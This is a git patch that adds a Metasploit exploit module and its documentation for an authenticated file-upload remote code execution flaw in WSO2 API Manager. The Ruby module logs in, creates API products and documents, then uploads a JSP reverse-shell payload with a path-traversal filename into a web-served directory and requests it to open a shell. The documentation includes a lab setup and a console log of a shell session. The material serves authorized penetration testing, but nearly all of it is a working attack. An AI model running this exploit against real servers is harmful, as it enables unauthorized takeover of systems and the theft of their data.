From 09d84eaabb49839db1177085941dcad01982ae5b Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Thu, 14 Nov 2024 18:34:11 +0100 Subject: [PATCH] Added module for WSO2 API Manager Documentation File Upload Remote Code Execution Closes #19646 on-behalf-of: @redwaysecurity --- .../http/wso2_api_manager_file_upload_rce.md | 77 ++++ .../http/wso2_api_manager_file_upload_rce.rb | 416 ++++++++++++++++++ 2 files changed, 493 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md create mode 100644 modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb diff --git a/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md new file mode 100644 index 000000000000..f658f349ea36 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md @@ -0,0 +1,77 @@ +## Vulnerable Application + +A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions +(`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled +server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server. + +```yaml +services: + api-manager: + image: wso2/wso2am:4.0.0-alpine + container_name: swo2_api_manager + ports: + - "9443:9443" + +``` + +```bash +docker-compose up +``` + + + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use multi/http/wso2_api_manager_file_upload_rce` +1. Do: `set rhosts [ip]` +1. Do: `set lhost [ip]` +1. Do: `run` +1. You should get a shell. + +## Scenarios + +### WSO2 API Manager 4.0.0 +``` +msf6 exploit(multi/http/wso2_api_manager_file_upload_rce) > exploit + +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking target... +[+] Authentication successful +[+] The target appears to be vulnerable. Detected WSO2 API Manager 4.0.0 which is vulnerable. +[+] Authentication successful +[*] Listing APIs... +[+] Document created successfully +[*] Uploading payload... +[+] Payload uploaded successfully +[*] Executing payload... +[+] Payload executed successfully +[*] Command shell session 2 opened (127.0.0.1:4444 -> 127.0.0.1:58206) at 2024-11-03 15:36:37 +0100 + +id +uid=802(wso2carbon) gid=802(wso2) groups=802(wso2) +pwd +/home/wso2carbon/wso2am-4.0.0 +exit +[*] 127.0.0.1 - Command shell session 2 closed. +``` + +## Options + +### USERNAME (required) + +The username to authenticate with. + +### PASSWORD (required) + +The password of the user to authenticate with. + +### RHOSTS (required) + +The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + +### RPORT (required) + +The target port (TCP) diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb new file mode 100644 index 000000000000..5609a8a54d10 --- /dev/null +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -0,0 +1,416 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + attr_accessor :bearer + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WSO2 API Manager Documentation File Upload Remote Code Execution', + 'Description' => %q{ + A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions + (`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled + server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server. + }, + 'Author' => [ + 'Siebene@ <@Siebene7>', # Discovery + 'Heyder Andrade <@HeyderAndrade>', # metasploit module + 'Redway Security ' # Writeup and PoC + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/WSO2-2023-2988' ], # PoC + [ 'URL', 'https://blog.redwaysecurity.com/2024/11/wso2-4.2.0-remote-code-execution.html' ], # Writeup + [ 'URL', 'https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2023-2988/' ] + ], + 'DefaultOptions' => { + 'Payload' => 'java/jsp_shell_reverse_tcp', + 'SSL' => true, + 'RPORT' => 9443 + }, + 'Platform' => %w[linux], + 'Arch' => ARCH_JAVA, + 'Privileged' => false, + 'Targets' => [ + [ + 'Automatic', {} + ], + [ + 'WSO2 API Manager (3.1.0 - 4.0.0)', { + 'min_version' => '3.1.0', + 'max_version' => '4.0.0', + 'api_version' => 'v2' + }, + ], + [ + 'WSO2 API Manager (4.1.0)', { + 'min_version' => '4.1.0', + 'max_version' => '4.1.9', + 'api_version' => 'v3' + } + ], + [ + 'WSO2 API Manager (4.2.0)', { + 'min_version' => '4.2.0', + 'max_version' => '4.2.9', + 'api_version' => 'v4' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-05-31', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 API manager', '/']), + OptString.new('HttpUsername', [true, 'WSO2 API manager username', 'admin']), + OptString.new('HttpPassword', [true, 'WSO2 API manager password', '']) + ] + ) + end + + def check + vprint_status('Checking target...') + + authenticate + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/services', '/Version'), + 'method' => 'GET', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + + return Exploit::CheckCode::Unknown unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/ + + xml = res.get_xml_document + xml.at_xpath('//return').text.match(/WSO2 API Manager-((?:\d\.){2}(?:\d))$/) + version = Rex::Version.new ::Regexp.last_match(1) + + return CheckCode::Safe('Unable to determine version') unless version + + return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless + version <= Rex::Version.new('4.2.0') || + version <= Rex::Version.new('4.1.0') || + version <= Rex::Version.new('4.0.0') || + version <= Rex::Version.new('3.2.0') || + version <= Rex::Version.new('3.1.0') + + if target.name == 'Automatic' + # Find the target based on the detected version + selected_target_index = nil + targets.each_with_index do |t, idx| + if version.between?(Rex::Version.new(t.opts['min_version']), Rex::Version.new(t.opts['max_version'])) + selected_target_index = idx + break + end + end + + unless selected_target_index + vprint_warning("No matching target found for version #{version}") + return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") + end + + # Set the target + datastore['TARGET'] = selected_target_index + vprint_status("Automatically selected target: #{target.name} for version #{version}") + else + print_error("Mismatch between version found (#{version}) and module target version (#{target.name})") unless version.between?( + Rex::Version.new(target.opts['min_version']), Rex::Version.new(target.opts['max_version']) + ) + end + + report_vuln( + host: rhost, + name: name, + refs: references, + info: [version] + ) + + return CheckCode::Appears("Detected WSO2 API Manager #{version} which is vulnerable.") + end + + def authenticate + nounce = nil + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/publisher/services/auth/login'), + 'method' => 'GET', + 'keep_cookies' => true + ) + + loop_dectector = 0 + + fail_with(Failure::UnexpectedReply, 'Failed to authenticate') unless res + + while res.redirect? + loop_dectector += 1 + res = send_request_cgi( + 'uri' => res.redirection.to_s, + 'method' => 'GET', + 'headers' => { + 'Connection' => 'keep-alive' + }, + 'keep_cookies' => true + ) + if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/) + nounce = ::Regexp.last_match(1) + end + break if nounce + + fail_with(Failure::UnexpectedReply, 'Loop detected') if loop_dectector > 3 + end + + auth_data = { + 'usernameUserInput' => datastore['HttpUsername'], + 'username' => datastore['HttpUsername'], + 'password' => datastore['HttpPassword'], + 'sessionDataKey' => nounce + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/commonauth'), + 'method' => 'POST', + 'vars_post' => auth_data + ) + + loop_dectector = 0 + while res.redirect? + loop_dectector += 1 + res = send_request_cgi( + 'uri' => res.redirection.to_s, + 'method' => 'GET', + 'headers' => { + 'Connection' => 'keep-alive' + }, + 'keep_cookies' => true + ) + if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/) + self.bearer = ::Regexp.last_match(1) + end + break if bearer + + fail_with(Failure::UnexpectedReply, 'Loop detected') if loop_dectector > 3 + end + + if bearer + print_good('Authentication successful') + else + fail_with(Failure::UnexpectedReply, 'Authentication attempt failed') + end + end + + def list_api_available + vprint_status('Listing products APIs...') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'), + 'vars_get' => { + 'limit' => 10, + 'offset' => 0 + }, + 'method' => 'GET', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + + fail_with(Failure::UnexpectedReply, 'Failed to list APIs') unless res&.code == 200 + + api_list = res.get_json_document['list'] + + if api_list.empty? + print_error('No Proucts API available') + print_status('Trying to create an API...') + api_list = create_product_api + end + + return api_list + end + + def create_api + api_data = { + 'name' => Faker::App.name, + 'description' => Faker::Lorem.sentence, + 'context' => "/#{Faker::Internet.slug}", + 'version' => Faker::App.version, + 'transport' => ['http', 'https'], + 'tags' => [Faker::ProgrammingLanguage.name], + 'policies' => ['Unlimited'], + 'securityScheme' => ['oauth2'], + 'visibility' => 'PUBLIC', + 'businessInformation' => { + 'businessOwner' => Faker::Name.name, + 'businessOwnerEmail' => Faker::Internet.email, + 'technicalOwner' => Faker::Name.name, + 'technicalOwnerEmail' => Faker::Internet.email + }, + 'endpointConfig' => { + 'endpoint_type' => 'http', + 'sandbox_endpoints' => { + 'url' => "https://#{target_uri.host}:9443/am/#{Faker::Internet.slug}/v1/api/" + }, + 'production_endpoints' => { + 'url' => "https://#{target_uri.host}:9443/am/#{Faker::Internet.slug}/v1/api/" + } + }, + 'operations' => [ + { + 'target' => "/#{Faker::Internet.slug}", + 'verb' => 'GET', + 'throttlingPolicy' => 'Unlimited', + 'authType' => 'Application & Application User' + } + ] + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => 'application/json', + 'data' => api_data.to_json + ) + + fail_with(Failure::UnexpectedReply, 'Failed to create API') unless res&.code == 201 + + print_good('API created successfully') + return res.get_json_document + end + + def create_product_api + api_id = create_api['id'] + + product_api_data = { + 'name' => 'test3', + 'context' => 'test3', + 'policies' => ['Unlimited'], + 'apis' => [ + { + 'name' => '', + 'apiId' => api_id, + 'operations' => [], + 'version' => '1.0.0' + } + ], + 'transport' => ['http', 'https'] + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => 'application/json', + 'data' => product_api_data.to_json + ) + + fail_with(Failure::UnexpectedReply, 'Failed to create API Product') unless res&.code == 201 + + print_good('API Product created successfully') + return res.get_json_document + end + + def create_document(api_id, doc_name) + doc_data = { + 'name' => doc_name, + 'type' => 'HOWTO', + 'summary' => Faker::Lorem.sentence, + 'sourceType' => 'FILE', + 'visibility' => 'API_LEVEL' + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => 'application/json', + 'data' => doc_data.to_json + ) + + fail_with(Failure::UnexpectedReply, 'Failed to create document') unless res&.code == 201 + + print_good('Document created successfully') + + return res.get_json_document['documentId'] + end + + def upload_payload(api_id, doc_id) + print_status('Uploading payload...') + + post_data = Rex::MIME::Message.new + post_data.bound = rand_text_numeric(32) + post_data.add_part(payload.encoded.to_s, 'text/plain', nil, "form-data; name=\"file\"; filename=\"../../../../repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}\"") + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents/', doc_id, '/content'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + ) + fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201 + + print_good('Payload uploaded successfully') + return res + end + + def execute_payload + print_status('Executing payload... ') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/authenticationendpoint/', jsp_filename), + 'method' => 'GET' + ) + + if res&.code == 200 + print_good('Payload executed successfully') + handler + else + fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed') + end + end + + def exploit + doc_name = Rex::Text.rand_text_alpha(4..7) + authenticate unless bearer + api_avaliable = list_api_available + api_avaliable.each do |product_api| + doc_id = create_document(product_api['id'], doc_name) + next unless doc_id + + res = upload_payload(product_api['id'], doc_id) + if res&.code == 201 + execute_payload + break + end + end + # execute_payload + end + + def jsp_filename + @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp" + end + +end